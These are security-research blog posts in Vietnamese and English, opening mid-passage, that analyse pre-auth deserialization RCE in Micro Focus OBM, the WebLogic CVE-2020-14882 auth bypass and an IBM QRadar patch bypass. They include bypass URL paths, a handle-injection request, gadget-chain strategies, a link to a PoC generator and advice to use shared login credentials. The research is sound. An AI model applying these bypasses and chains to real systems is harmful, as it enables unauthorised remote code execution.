Bên trong method isNonsecureURL() có 1 list url pattern để xác định, và entrypoint “/kpiQueryServiceProxy” cũng nằm trong đó:

List này bao gồm các pattern sau (regex):

./topaz/loginBanner.jsp. ./topaz/generalError.jsp. ./topaz/jsps/act/ui/components/popupmessage/popup.jsp. ./topaz/blank.jsp. ./topaz/app/usermanagement/general/TopLogoutInvoker.jsp. ./LoginValidation.jsp. .topaz/TopazSiteServlet. ./HttpSSOlogin.jsp. ./services/EntityNotificationPort. ./bam/BAMOpenApi. ./authorizationcontrol. ./authorizationmanagment. ./ITU/MWCWizard.do. ./LB_Verify.jsp. ./verifyIDM.jsp. ./redirectToLogin.jsp. ./openapi/OpenAPI.jsp. ./SsoConfigurationErrorPage.jsp. ./services/technical/time. ./mobileConsole.do. .topaz/services/technical. ./topaz/jsp/aw/awlogin.jsp. ./topaz/kpiQueryServiceProxy. ./topaz/JavaScriptServlet. ./topaz/ws/urest/v1/authenticated_user. ./topaz/api/v1/server_availability.

Tuy nhiên, cách check pattern của OBM lại dựa theo regex, việc bypass cơ chế kiểm tra này hoàn toàn đơn giản, ví dụ:

/topaz/authenticated_required_url**/mobileConsole.do**

Do url chứa pattern whitelist là “.*/mobileConsole.do”, request này sẽ lừa được cơ chế kiểm tra và vẫn được xác định là 1 unauthenticated entrypoint!

Tiếp tục có thêm vấn đề cần xem xét: làm thế nào mà lại gọi được tới LWSSOValidationUtils.validate()

Xem lại call stack và để ý kỹ sẽ thấy một số điểm như sau:

Các method doFilter() của Filter Class được gọi lần lượt, nếu để ý thì trong file config web.xml cũng có khai báo các filter này theo thứ tự:

Sau khi search qua 1 vòng thì mình biết được cái Filter này được định nghĩa trong config file, và cứ mỗi request sẽ gọi tới method doFilter() của các class này. (For more info: https://www.journaldev.com/1933/java-servlet-filter-example-tutorial)

• Vấn đề này có thể sẽ hơi rối, mình sẽ giải thích vào 1 dịp khác!

#The RCE gadget

Quay trở lại với bug pre-auth deserialization tại entrypoint /kpiQueryServiceProxy.

Hiện tại PoC mới chỉ ở mức URLDNS, nguyên do như đã nói ở trên là các library trong này khá mới, một số class lại còn bị restrict bởi Jboss nên khó mà có thể RCE được bằng các gadget đã biết! Nhưng ko sao, đó giờ mình làm chuyện khó quen rồi 👌,

Một số lỗi xảy ra khi thử các known gadget như sau:

• CommonsBeanutils1: TemplatesImpl not found

Điều này khá là dị, mình kiểm tra thì thấy rõ ràng là Jboss vẫn dùng java runtime của sun, vẫn tồn tại TemplatesImpl trong rt.jar như thường, tại sao lại có lỗi như thế kia …?

Lại chày cối debug tiếp thì mình biết được rằng các app của Jboss không sử dụng trực tiếp rt.jar của jre, thay vào đó classpath của app chỉ dựa vào các Jboss module được cung cấp!

Với trường hợp OBM hiện tại, các module này nằm trong C:\HPBSM\application-server\modules\system\layers\base

Các folder này được coi như là các package của java, khi load tới package nào thì Jboss sẽ lấy lần lượt các module trong đó, file module.xml sẽ xác định vị trí library cần load lên, ví dụ như Apache Commons Collections sẽ có dạng như sau:

Quay trở lại với trường hợp load class: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

Trong folder com/sun/ không hề có folder org, do đó khi Jboss lookup module sẽ không thể tìm thấy được TemplatesImpl mà ta mong muốn 🤨.

.

.

Thử rất nhiều gadget, cho tới khi thử tới gadget AspectJ shell drop (có đề cập trong bài viết này) thì lại may mắn thay: trên lý thuyết thì tất cả các class cần thiết cho gadget đều tồn tại trong classpath.

Gadget này yêu cầu các library sau: org.aspectj.weaver, commons-collections

Tuy nhiên khi gen payload và gửi tới server thì lại gặp ngay lỗi sau:

Server báo không tìm thấy class của aspectj weaver: org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap

Lỗi này trông khá lạ,dài dòng hơn so với những lỗi Class Not Found của gadget khác.

Rõ ràng là khi kiểm tra, SimpleCache có trong classpath của web app. Để chắc chắn hơn, mình tạo lại object của SimpleCache và gửi cho server deserialize object này, kết quả như sau:

Như thế có nghĩa là class này CÓ tồn tại trên classpath, sao lại bị not found khi deserialize theo chain đc nhỉ 🤔.

Đọc lại stacktrace của exception khi báo class not found, server đẩy ra exception ngay trong 1 chain của gadget: LazyMap.readObject()

Đoạn code xử lý của LazyMap.readObject() rất đơn giản như sau:

Có lẽ dòng gây ra lỗi chính là đoạn “this.map = (Map)in.readObject();”, (trong đó theo lý thuyết thì this.map sẽ có giá trị của object SimpleCache đã tạo).

Vì khi deserialize, in.defaultReadObject() được gọi đầu tiên để tạo lại các serializable field của Object, đối với các trường hợp đặc biệt: ví dụ như transient field không được serialized thì sẽ phải thực hiện tạo lại bằng custom code của class đó, trong case hiện tại thì field this.map cũng là 1 transient field, và được tạo lại theo đúng quy trình!

Dựa theo các dữ liệu bên trên, mình đặt ra 1 giả thuyết như thế này:

• Object của SimpleCache được gán vào this.map, trong khi this.map lại là 1 transient Field

• Khi deserialize, java runtime “không thực sự quan tâm” tới sự tồn tại của giá trị trong transient Field

• Do đó đã không load các library cần thiết vào classpath

Với 80% tự tin rằng giả thuyết trên là đúng, mình nhanh chóng nghĩ ra 1 cách khắc phục như sau:

Nếu như khi deserialize, class SimpleCache được load vào classpath trước, sau đó mới thực hiện deserialize gadget AspectJ ban đầu thì có thể mọi chuyện sẽ suôn sẻ …

Vậy thực hiện như thế nào?

Mình tìm được trong library một vài class thú vị, ví dụ như “W_ObjectResultImpl”:

readExternal() sẽ được gọi khi deserialize(gần giống như readObject()).

Class này có gì đặc biệt?

Để ý 1 chút sẽ thấy ở các dòng từ 86 trở xuống, liên tiếp gọi in.readObject()

Dựa theo giả thuyết của mình, thì trong này mình sẽ sắp đặt cho this._ruleParameter = Object của SimpleCache, this._dv1 = real gadget.

Khi deserialize, các Object cũng lần lượt được reconstruct theo thứ tự sắp xếp trong readExternal(), dựa vào đó để load các library cần thiết lên classpath trước, tránh bị class not found như ban đầu.

Nói thì dài, nhưng có thể minh họa lại như sau:

Sau khi gen payload và gửi lên server được kết quả như sau:

Server trả về lỗi ClassCastException mình biết rằng, tới 90% là gadget này đã thành công rồi,

Để confirm lại một lần nữa, mình đặt breakpoint tại điểm sink của gadget: org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap.put()

Vậy là đã reach tới sink, file “ahi.txt” đã được tạo tại folder tùy ý:

Tuy nhiên do bị check bởi isNonsecureURL(), cần phải đăng nhập mới truy cập được file.

Quay trở lại với đoạn check URL bên trên, url được check bằng các pattern regex, ví dụ: “./topaz/blank.jsp.**”

Như vậy thì việc bypass lại trở nên quá đơn giản, với pattern bên trên, thì url “/topaz/blank.jsp.jsp” cũng có thể thỏa mãn điều kiện check.

Drop lại file shell mới với tên blank.jsp.jsp, thì đã có thể RCE thành công:

PoC video: https://youtu.be/X6p7Mtd4QgE

PoC Generator: https://gist.github.com/testanull/5e9ac445403f890be785308353abebab

#Kết

Mình không chờ đợi được mail reply từ phía ZDI nên đành show & public PoC luôn

Quá trình debug cũng phát hiện và học hỏi được thêm khá nhiều thứ, khuyến khích các bạn trẻ nên lab và debug để hiểu rõ hơn.

Bài viết lần này khá là dài, rất cảm ơn các bạn đã đọc hết tới đây,

Jang

Mới đó mà đã ngót nghét 1 năm, tầm này năm ngoái mình đang loay hoay với GadgetInspector, tìm ra CVE-2020–2555 và report cho ZDI.

//Tản mạn ltinh xíu, ai muốn đọc thì kéo xuống dưới luôn cũng được

Ngày đó, mỗi lần Oracle CPU release là lại ngóng chờ, xem bug của mình đã được vá chưa, tầm nào thì được public PoC … Cuối cùng, sau 6 tháng, Oracle cũng đã release bản vá cho cái bug mình report.

Hồi đó cũng hơi ngây ngô, ko nghĩ việc tìm ra 1 cái chain deserialization mới cũng được tính là bug mới, và được đánh số 9.8/10 đàng hoàng luôn…

Sau cái CVE-2020–2883 và 2884 (bypass của 2555), thì mình đã chán, không còn muốn theo đuổi công việc tìm kiếm gadgetchain, và lặp lại chung 1 entrypoint T3 trên weblogic nữa.

Trong thời gian đó cũng là vào mùa đồ án nữa, nên là mình bàn giao lại hết công việc này cho đồng nghiệp của mình, là ai thì chắc nhiều người cũng biết =)).

Sau CVE-2020–2555, nhiều người cũng ngộ ra là library coherence có nhiều thứ hay ho để lợi dụng. Từ đó trở đi, mỗi lần Oracle CPU release là lại thêm 1 đống gadgetchain mới của weblogic T3 deserialzation, đôi khi còn có những CVE bị trùng số với 1 ai đó nữa cơ:

Thực ra thì việc tìm gadgetchain cũng rất chi là thú vị, nhưng chỉ thú vị khi còn entrypoint.

Việc ngăn chặn thì rất đơn giản, chỉ cần disable T3/IIOP đi là nghỉ game luôn ¯_(ツ)_/¯.

.

.

.

Cho tới ngày 21/10 vừa rồi, Oracle CPU Oct đã mang tới 1 vài bất ngờ lớn.

Liếc qua weblogic thì cũng vẫn như thường lệ: T3, IIOP… bình thường,

Tuy nhiên có 1 điểm mới ở đây:

CVE-2020–14882:

• CVSS: 9.8/10

• Giao thức: HTTP

• Ảnh hưởng tất cả các version

Bug này được report bởi 1 thanh niên người tàu:

Trước giờ weblogic hầu như chỉ có bug ở chỗ T3 Deser, cứ vá rồi lại bypass, vá rồi lại bypass … (nghĩ đến cũng đủ mệt ròi).

Chậc, lại phải kéo patch về xem thôi …

Mình chọn phiên bản để phân tích là Weblogic 12.2.1.3, bản vá Oct đợt này có số 3191038, của July là 31535411.

Diff 2 bản vá và phát hiện ra tại component console, 1 số file class đã bị thay đổi trong bản vá mới: HandleFactory.class và MBeanUtilsInitSingleFileServlet.class

#The Sink

Tiếp tục xem sự thay đổi trong các file này, đầu tiên là com.bea.console.handles.HandleFactory.getHandle():

Nhìn sơ qua cũng có thể nhận thấy ngay điểm khác biệt này: bản vá lần này của HandleFactory đã kiểm tra lại kiểu của handleClass, chỉ cho phép các class là instance của com.bea.console.handles.Handle đi qua:

Theo như flow của method HandleFactory.getHandle(), dữ liệu nhận vào là 1 String, sau khi qua nhiều lần xử lý thì sẽ đến được Class.forName(className) để load class này lên. Tiếp đó sẽ tìm kiếm 1 trong class đó 1 constructor với 1 arg là String để tạo instance mới từ đó.

Diễn giải luồng xử lý sẽ như sau:

Có thể trigger entrypoint này bằng 1 GET request sau (tuy nhiên đoạn này vẫn cần authenticated vào trước):

http://<target>/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=**java.lang.String("ahihi")**

Đặt breakpoint tại HandleFactory.getHandle(), các giá trị của handleConstructor, args đều đã bị control từ dữ liệu đầu vào.

Đây cũng chính là vị trí bị lợi dụng để RCE trong CVE-2020–14882,

Để lợi dụng được entrypoint này thì cần phải tìm ra 1 class có chứa public Constructor với 1 argument = String.

Khi debug tới đây thì mình cũng định để đó, dù sao sink cũng biết rồi, tới khi nào tìm được entrypoint pre-auth thì mới chạy tool để tìm class trigger được bug!

#The Source

Với HandleFactory.getHandle() đã là sink của bug này, như vậy thì class bị patch còn lại — MBeanUtilsInitSingleFileServlet có thể sẽ là Source của bug!

Class sau khi được vá sẽ có thêm 1 field “IllegalUrl” như sau:

private static final String[] **IllegalUrl **= new String[]{";", "**%252E%252E**", "**%2E%2E**", "**..**", "%3C", "%3E", "<", ">"};

Đoạn code xử lý của servlet này đơn thuần chỉ là check xem trên url có tồn tại chuỗi “..” hay không, nếu có thì sẽ reject request này! Chắc hẳn phải có vấn đề gì đó với dấu “..”, nên nó mới bị filter lại như vậy.

Hơn nữa để reach được tới MBeanUtilsInitSingleFileServlet.service(), cần phải qua 1 bước authen nữa ¯_(ツ)_/¯.

“Thế là post-auth RCE ròi, làm sao có thể là 9.8/10 được chứ …”. Toi thầm nghĩ và tiếp tục mò mẫm.

.

.

Có lẽ cũng giống như 1 số servlet trên java, weblogic cũng có folder webapp, đối với của console thì đó là:

“\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp”

Và đương nhiên, cũng có các file config web.xml, struts-config.xml như thường lệ:

Theo như config trong web.xml, MBeanUtilsInitSingleFileServlet là 1 init-param của AppManagerServlet,

AppManagerServlet được map vào các url pattern sau:

• /appmanager/*

• *.portlet

• *.portion

• *.portal

Trong đó có bao gồm cả “/console/console.portal”, có thể thấy ngay sau khi login vào console:

…

Sau khi đào bới một hồi thì cũng tìm ra cái class xử lý logic, quyết định xem request này nên authen or non-authen required, trong weblogic 12.2.1.3 là class weblogic.servlet.security.internal.WebAppSecurity.checkAccess():

Tại đây, WebAppSecurityWLS.getConstraint(request) sẽ lấy các constraint của request hiện tại, mỗi một constraint có chứa các thông tin như sau:

Trong đó, nếu như constraint có flag unrestrict=true thì request đó sẽ được quyết định là unauth, nếu không sẽ trả về page login.

Tiếp tục F7 đi vào WebAppSecurityWLS.getConstraint(), tại đây có thể lấy được tất cả các constraint, dựa vào đó có thể biế t được các url nào sẽ được bỏ qua phần check authentication, list các url pattern được bỏ qua check authen như sau:

• /bea-helpsets/*

• /framework/skins/wlsconsole/images/*

• /framework/skins/wlsconsole/css/*

• /framework/skeletons/wlsconsole/js/*

• /framework/skeletons/wlsconsole/css/*

• /css/*

• /common/*

• /images/*

Dựa vào list các pattern này và thử thêm các trick bypass url trước đó, ví dụ như: “..;/, /#/../”, nhưng vẫn ko tìm đc gì thêm hay ho…

Tới đây thì mình stuck luôn, ko nghĩ ra gì mới!

Lên twitter thì chưa thấy ai đăng PoC gì cả, đành vứt hết liêm sỉ đi xin hint từ những người anh em bên mẫu quốc! (xin phép được giấu tên người này)

Yeah, và sau đó bác này cho mình hẳn 1 cái pic của PoC luôn, thật là tốt bụng và hào phóng!

Trong đó thì phần abuse HandleFactory đã biết rồi, còn phần url kia lại là: “/console/console%2E%2E.portal” A.K.A “/console/console…portal”

Mình đem thử thì thấy ko đúng lắm, với url “/console/console%2E%2E.portal” thì constraint trả về vẫn là “unrestricted=false” nghĩa là vẫn cần authen mới qua được:

Hỏi lại thanh niên kia thì hắn mới bảo như vậy:

PoC hắn gửi ban đầu chỉ là cái hint mà thôi, để bypass thì cần 1 chút trick, abuse 1 vài resource nào đó mới có thể trở thành unauth RCE được!

Loanh quanh luẩn quẩn lại quay trở về với vị trí ban đầu,

Khi đó thì mình cũng khá là nản rồi, đành kêu thêm mấy đàn em vào ngâm cứu chung cho đỡ. Lại 1 chút flashback về ngày còn chơi CTF, ngày đó cứ mỗi khi stuck lại đem bàn giao idea cho đồng đội để san sẻ suy nghĩ, và hiệu quả lúc nào cũng cao hơn là 1 mình tự chơi …

Nhóm này thì cũng chỉ có 3 người: mình, PeterJson và @Quynh Le. Chuyên đâm chọt các loại bug xảy ra trên java

Và rồi thanh niên Đức đã tìm ra thứ cần phải thấy =)), 1 url có thể trigger được MBeanUtilsInitSingleFileServlet mà không phải authen gì cả:

/console/css/changemgmt.portal

Mình cũng hơi bất ngờ khi thấy request này, nhưng test lại thì đúng là nó có thể trigger được thật …

Kiểm tra lại trong debugger, constraint đúng là được map vào “/css/” nên được unrestrict thật,

Và bất ngờ hơn, khi kiểm tra lại servlet handle cái entrypoint này, lại thấy là AsyncInitServlet đang handle, chứ không phải là FileServlet như mình nghĩ!

So sánh với 1 request thông thường (có đuôi .css), FileServlet sẽ handle request này.

Đó giờ mình cứ nghĩ là có điều gì magic ở FileServlet, nên cứ cắm đầu vào tìm lỗi của nó … :(

Nhưng thực tế điều magic lại không nằm ở đó … nó nằm ở web.xml cơ!

Nhìn lại phần khai báo static resource của web.xml:

Trong đó:

• Url pattern “/common/**” được xử lý bởi JSPCServlet *(handle các request tới file jsp)

• Các url pattern “/framework/**” được xử lý bởi FileServlet*

• …

Tuy nhiên với các url pattern “/images/” và “/css/*”* thì lại không được khai báo servlet nào sẽ handle cả!

Do đó khi request với url “/console/css/aaasdasdasd.portal”, AppManagerServlet sẽ handle request này.

Tóm lược lại như sau:

• “/css/*” để bypass authen

• “*.portal” để trigger

Tới đây thì đã có thể reach được MBeanUtilsInitSingleFileServlet.service() mà không cần phải authen gì nữa

Tuy nhiên request vẫn chưa thể reach tới được HandleFactory.getHandle() do url pattern chưa match được với portlet!

Ngay lúc đó, dựa vào hint ban đầu mà thanh niên người tàu kia gởi:

Vậy ra dấu “..” ở đây, là ý muốn hint sử dụng “..” double encode để trigger bug, thử lại thì đúng như thế thật:

Tới đây thì đã có thể viết PoC hoàn thiện rồi, nhưng mình xin phép phân tích thêm đoạn này,

Sau khi đi qua MBeanUtilsInitSingleFileServlet.service() và thêm 1 số đoạn dài dài nữa, tại UIServletInternal.getTree(), url pattern lại được bóc tách và thực hiện decode URL 1 lần nữa:

Trước khi decode

Và sau khi decode:

Như vậy đã giải thích tại sao việc sử dụng double encoded url có thể vừa bypass được đoạn xử lý normalized url ban đầu, mà vẫn có thể làm cho đoạn xử lý servlet về sau hoạt động đúng!

#Trigger RCE

Trong PoC ăn xin được, thanh niên này sử dụng com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext() để trigger RCE, tuy nhiên chain này yêu cầu phải có outbound.

Mình là người cầu toàn, hơn nữa trong thực tế thì khá nhiều server chặn outbound nên mình quyết định tìm ra 1 chain mới, no outbound required, RCE in one hit! 🤣

Ngày còn mần liferay, mình đã chỉnh sửa công cụ GadgetInspector rất nhiều, phục vụ cho việc trace code.

Tới lúc này thì nó lại phát huy tác dụng, lôi nó ra và chỉnh sửa một chút ít điều kiện trong code cho phù hợp với context mới, chạy tầm 5p thì ra được khá nhiều kết quả.

Trong đó có 1 chain khá là tiềm năng:

Chain này sau khi nhận vào arg từ constructor sẽ gọi ShellSession.exec() để thực thi với arg này luôn:

Chain phía sau ShellSession.exec() còn dài để có thể thực thi được, mình tóm tắt lại như sau:

Như vậy là có thể thực thi MVEL expression tùy ý (về MVEL thì hình như mình cũng đã từng nhắc tới trong các bài trước thì phải).

Thực sự thì tới tận lúc PoC thành công với chain mới này mình cũng vẫn chưa hết bất ngờ, ko tin đc là có những thứ có sẵn để lợi dụng như vậy. Mình không chắc đây có phải là 1 backdoor nào đó được để lại trong code hay không =))).

Sau khi kết hợp tất tần tật những thứ trên, thêm chút mắm muối, mình viết hẳn PoC execute command rồi có response luôn =)) cho khỏe. PoC cuối cùng được hoàn thiện bởi Đức chứ không phải mình,

PoC video: https://youtu.be/JFVDOIL0YtA

=)) Ai cần PoC thì tự nghiên cứu trong này nhé, mình ko có đồ ăn sẵn ở đây.

MVP to @voidfyoo,

Chân thành cảm ơn thanh niên người tàu, PeterJson và @Quynh

Cảm ơn các bạn đã đọc tới đây!

Jang

It’s been a while since last blog post, Partly because of work, another is I have lost motivation to write :(, so there is no more writing since the project until now. Last week, there was an IBM Qradar SIEM Java Deser bug released — CVE-2020–4280 (details at: https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet ). Right into the product I am using for several months now, so let take a look at it!

#SETUP Previously, I mistakenly thought that Qradar only had Enterprise version, until I read the detailed blog about this bug that it actually has a Community Edition.

The CE version can be downloaded at: https://developer.ibm.com/qradar/ce/ If it required login, you can use the shared credentials at: http://bugmenot.com/view/idaas.iam.ibm.com (I also use it with oracle.com).

There is only version 7.3.3 for Community Edition, as far as I experience and known, Enterprise Edition is currently using version 7.4.1. After logging in, IBM will download an ova file to import into VMWare / Virtual Box.

The install is also quite simple, only takes a little time, you can refer to the setup guide at: https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on- virtualbox /

• During the setup process, sometimes there will be some minor errors, if you stuck, you can inbox to exchange!

Similar to what I did with weblogic or liferay, to debug Qradar, I find all the libraries in WEB-INF and import into IntellIJ. There is a deadly note that Qradar is running on IBM Java, completely different from the usual Oracle Java. In order to debug, you must choose the correct Project SDK, which is IBM Java 1.8 (can be downloaded here: https://www.ibm.com/support/pages/java-sdk-downloads). (If you do not select the correct SDK, when debugging will jump around without understanding why this happen …=))) )

#Root Cause

Based on the author’s blog post, we can identify the vulnerability located in the RemoteJavaScript servlet with the servlet-name as remoteMethod.

In qradar, the following url-patterns are handled by remoteMethod:

• /remoteJavaScript

• /remoteMethod

• /JSON-RPC

• /JSON-RPC/*

This remoteMethod feature works like this:

• From the method body or the query param, this entrypoint takes in the parameters “method”, “params”, “QRadarCSRF”, ….

• From the parameter “method”, appName and methodName are extracted as follows: appName + “.” + methodName = method, for example: Qradar.getSavedSearch

• If the methodName of appName exists the method will be called!

Rough speaking, a sample request looks like this:

The method is recognized here:

At line 309/311, the method is called with the passed parameters:

At ExportedMethod.call(), the parameters continue to be passed to ReflectionUtils.stringsToObjects() for further processing,

ExportedMethod.call()

The chain behind ReflectionUtils.stringsToObjects() is long, but in short this is where the data is deserialized! To sum up, the Chain from source to sink as follows (T_T hope you can recognize my writing):

However, not all params reach SerializationUtils.deserialize(). For parameters with simple types such as String, integer, long, …, there will be separate processing parts, not going to the deserialize() branch. Only parameters with complex types, eg: Map<HostInfo>, are passed deserialize() for further processing. These exported-methods are declared in /opt/qradar/conf/appconfig/<app>-exported_methods.xml together with classes handling that method, method name, params name.

For example, with the method that the author used to attack in the PoC of CVE-2020–4280 is:

<exportedMethod exposeToJMX="false" readOnly="true" parameterNames="**changedSettings**" className="com.q1labs.assetprofilerconfiguration.ui.util.AssetProfilerConfig" methodCode="974337442" methodName="**validateChangesAssetConfiguration**" appName="**qradar**"/>

In the processing class, we can see that the method Qradar.validateChangesAssetConfiguration() has changedSettings parameter. This parameter is of type List<AssetProfilerChanges>:

In the author’s original PoC, there’s a somewhat cumbersome handle: Use the Jython1 gadget to enable the console.enableExecuteCommand -> property then call Qradar.executeCommand().

I have another way to deal more succinctly that is to use a custom version of ROME gadget to execute and response to the body, the PoC result is as follows:

#The Patch

After testing the PoC, I also started trying to patch it too. The patch can be downloaded here:

• 7.4.1 Patch 1

• 7.3.3 Patch 5

Applying the patch is also quite simple, IBM already has a guide, just follow it and finish, although it takes a little while. It is true that after the patch, the exploit is not successful anymore,

¯_(ツ)_/¯ of course. Getting all the new library and doing some diff, there is a few big changes in the library, eg: ReflectionUtils.stringToObject() has been changed, adding a few lines to check the deserialized data, Old ReflectionUtils.stringToObject() :

https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4

New ReflectionUtils.stringToObject():

https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2

The change can be seen quite clearly, there has been a class ValidatingObjectInputStream to filter the classes that are allowed to deserialize, with the following whitelist:

• org.postgresql.util.*

• com.q1labs.*

• java.lang.*

• java.util.*

• gnu.trove.*

However, this branch only handles parameters of type other than Map:

In the last else branch of the processing code, the data continues to be decode base64 and deserialized as usual:

That means, if you find a method with param type = Map, then you can bypass this patch and deserialize to RCE! (1) Leave it here, and continue looking at the IBM patch, another big change can be seen in /opt/qradar/appconfig/qradar-exported_methods.xml. Some exported methods have been removed in new config file:

The exported methods that have been deleted are:

• qradar.validateChangesAssetConfiguration() -> in original PoC

• qradar.getSecurityState()

• qradar.getVulnerabilityState()

• qradar.getNetworkSecuritySummary()

• qradar.getRssFeedItem()

• qradar.getDataPoints()

• qradar.executeCommand()

After checking again, most of these methods have params that can be used to deserialize, That explains why when using the old PoC to exploit, the result will be a blank page with response = 200, which means the method no longer exists:

Set the breakpoint on line 195 of RemoteJavaScript to see more clearly, the method now returns null because it is no longer declared in the config file:

That is what IBM did to fix this vulnerability, however there are still 439 exported methods in the config file:

Combined with the necessary condition (1), just find a new method, and easily bypass the patch of CVE-2020–4280 and get RCE!

Here is the PoC of the bypass:

.

.

That’s all

Thanks for reading!

Jang

[Vietnamese version]

Cũng đã khá lâu kể từ lần cuối viết lách,

Phần là vì công việc khá nhiều, phần nữa là dạo này bị mất cảm hứng để viết :(, nên là ko còn viết gì nữa từ lúc xong đồ án tới giờ.

Tuần vừa rồi có 1 bug Java Deser của IBM Qradar SIEM được release — CVE-2020–4280 (chi tiết tại: https://www.securify.nl/advisory/java-deserialization-vulnerability-in-qradar-remotejavascript-servlet). Lại đúng vào product mấy tháng nay mình hay dùng nên tiện tay mổ xẻ xem sao!

#SETUP

Trước đây, mình đã tưởng lầm rằng Qradar chỉ có Enterprise version, tới khi đọc blog chi tiết về bug này thì mới biết thực ra nó còn có 1 Community Edition nữa.

Bản CE các bạn có thể download tại: https://developer.ibm.com/qradar/ce/

Nếu như yêu cầu login, các bạn có thể sử dụng các shared credential tại: http://bugmenot.com/view/idaas.iam.ibm.com (mình cũng dùng với oracle.com)

Chỉ có phiên bản 7.3.3 cho Community Edition, theo như mình trải nghiệm và được biết thì Enterprise Edition hiện đang sử dụng version 7.4.1.

Sau khi login vào thì IBM sẽ cho down 1 file ova để về import vào VMWare/Virtual Box.

Việc install cũng khá đơn giản, chỉ hơi tốn thời gian chút, có thể tham khảo setup guide tại: https://kifarunix.com/how-to-install-ibm-qradar-ce-v7-3-1-on-virtualbox/

• Trong quá trình setup đôi khi cũng sẽ xảy ra 1 số lỗi vặt, nếu các bạn stuck thì có thể inbox mình để trao đổi!

Tương tự như đã làm với weblogic or liferay, để debug Qradar thì mình tìm tất cả các library có trong WEB-INF và import vào IntellIJ.

Có 1 lưu ý chết người đó là Qradar đang chạy trên IBM Java, hoàn toàn khác với Oracle Java thông thường vẫn sử dụng.

Để việc debug được suôn sẻ, trong setting của project đang debug phải chọn đúng Project SDK là IBM Java 1.8 (có thể download tại đây: https://www.ibm.com/support/pages/java-sdk-downloads).

(Nếu không chọn đúng SDK thì khi debug sẽ bị nhảy lung tung mà không hiểu tại sao =))) )

#Root Cause

Dựa vào blog post của tác giả, ta có thể xác định lỗ hổng nằm tại servlet RemoteJavaScript với servlet-name là remoteMethod

Trong qradar, các url-pattern sau được handle bởi remoteMethod:

• /remoteJavaScript

• /remoteMethod

• /JSON-RPC

• /JSON-RPC/*

Tính năng remoteMethod này hoạt động như sau:

• Từ method body hoặc query param, entrypoint này nhận vào các tham số “method”, “params”, “QRadarCSRF”, ….

• Từ tham số “method”, appName và methodName được tách ra như sau: appName + “.” + methodName = method, ví dụ: Qradar.getSavedSearch

• Nếu methodName của appName tồn tại method sẽ được gọi!

Nói thì dài, 1 request mẫu có dạng như sau:

Method được xác định tại đây:

Tại dòng 309/311, method được call với các param đã truyền vào

Tại ExportedMethod.call(), các param tiếp tục được truyền vào ReflectionUtils.stringsToObjects() để xử lý,

ExportedMethod.call()

Chain phía sau ReflectionUtils.stringsToObjects() còn dài, nhưng có thể nói ngắn gọn đây chính là nơi dữ liệu được deserialize!

Chốt lại là Chain từ source tới sink như sau (T_T chữ xấu, các bạn thông cảm):

Tuy nhiên, không phải param nào cũng tới được SerializationUtils.deserialize().

Đối với các param có type đơn giản như: String, integer, long, … thì sẽ có các phần xử lý riêng, không đi vào nhánh deserialize().

Chỉ với các param có type phức tạp, ví dụ: Map<HostInfo>, mới được truyền vào deserialize() để xử lý tiếp.

Các exported-method này được khai báo trong /opt/qradar/conf/appconfig/<app>-exported_methods.xml kèm với các class xử lý method đó, method name, params name. Ví dụ như với method mà tác giả đã sử dụng để attack trong PoC của CVE-2020-xxxx là:

<exportedMethod exposeToJMX="false" readOnly="true" parameterNames="**changedSettings**" className="com.q1labs.assetprofilerconfiguration.ui.util.AssetProfilerConfig" methodCode="974337442" methodName="**validateChangesAssetConfiguration**" appName="**qradar**"/>

Mò vào class xử lý, có thể thấy method Qradar.validateChangesAssetConfiguration() có param là changedSettings. Param này có kiểu List<AssetProfilerChanges>:

Trong PoC gốc của tác giả thì có xử lý hơi cồng kềnh:

Dùng gadget Jython1 để enable property console.enableExecuteCommand -> sau đó gọi Qradar.executeCommand().

Mình có cách khác xử lý ngắn gọn hơn đó là sử dụng custom lại gadget ROME để execute và response luôn ra body, kết quả PoC được như sau:

Và đương nhiên là PoC cũng sẽ ko đc cung cấp theo bài này ¯_(ツ)_/¯, có làm mới có ăn …

#The Patch

Sau khi thử nghiệm xong PoC thì mình cũng bắt đầu thử vá luôn xem sao.

Bản vá có thể down tại đây:

• 7.4.1 Patch 1

• 7.3.3 Patch 5

Apply patch thì cũng khá đơn giản, IBM đã có sẵn guide tại đây, chỉ việc làm theo là xong, tuy hơi có lâu chút.

Đúng là sau khi patch, exploit không còn hoạt động nữa, ¯_(ツ)_/¯ đương nhiên rồi.

Kéo lib về để diff patch thì thấy có 1 số thay đổi lớn như sau, ReflectionUtils.stringToObject() đã có thay đổi, thêm 1 vài dòng để kiểm tra dữ liệu được deserialize,

ReflectionUtils.stringToObject() cũ:

https://gist.github.com/testanull/86a214d3db3ea6be33796b8e74fb8da4

ReflectionUtils.stringToObject() mới:

https://gist.github.com/testanull/6d52769c6704770c76359f3d56946ba2

Có thể thấy thay đổi khá rõ ràng, đã có thêm class ValidatingObjectInputStream để filter các class được phép deserialize, với whitelist là:

• org.postgresql.util.*

• com.q1labs.*

• java.lang.*

• java.util.*

• gnu.trove.*

Tuy nhiên nhánh này chỉ xử lý các param có kiểu không phải là Map:

Trong nhánh else cuối cùng của đoạn code xử lý, dữ liệu vẫn tiếp tục được decode base64 và deserialize như bình thường:

Điều đó có nghĩa là, nếu như tìm được 1 method có param type = Map, thì tiếp tục có thể bypass bản vá này và deserialize to RCE! (1)

Tạm thời dừng ở đó, tiếp tục soi bản vá của IBM, có thể thấy sự thay đổi lớn trong /opt/qradar/appconfig/qradar-exported_methods.xml.

Một vài exported methods đã bị xóa bỏ trong file config mới:

Các exported methods đã bị xóa là:

• qradar.validateChangesAssetConfiguration() -> trong PoC gốc của tác giả

• qradar.getSecurityState()

• qradar.getVulnerabilityState()

• qradar.getNetworkSecuritySummary()

• qradar.getRssFeedItem()

• qradar.getDataPoints()

• qradar.executeCommand()

Sau khi check lại 1 lượt thì đa số các method này đều có param có thể bị lợi dụng để deserialize,

Điều đó lý giải tại sao khi sử dụng PoC cũ để exploit, kết quả trả về sẽ là 1 trang trắng với response = 200, nghĩa là method không còn tồn tại nữa:

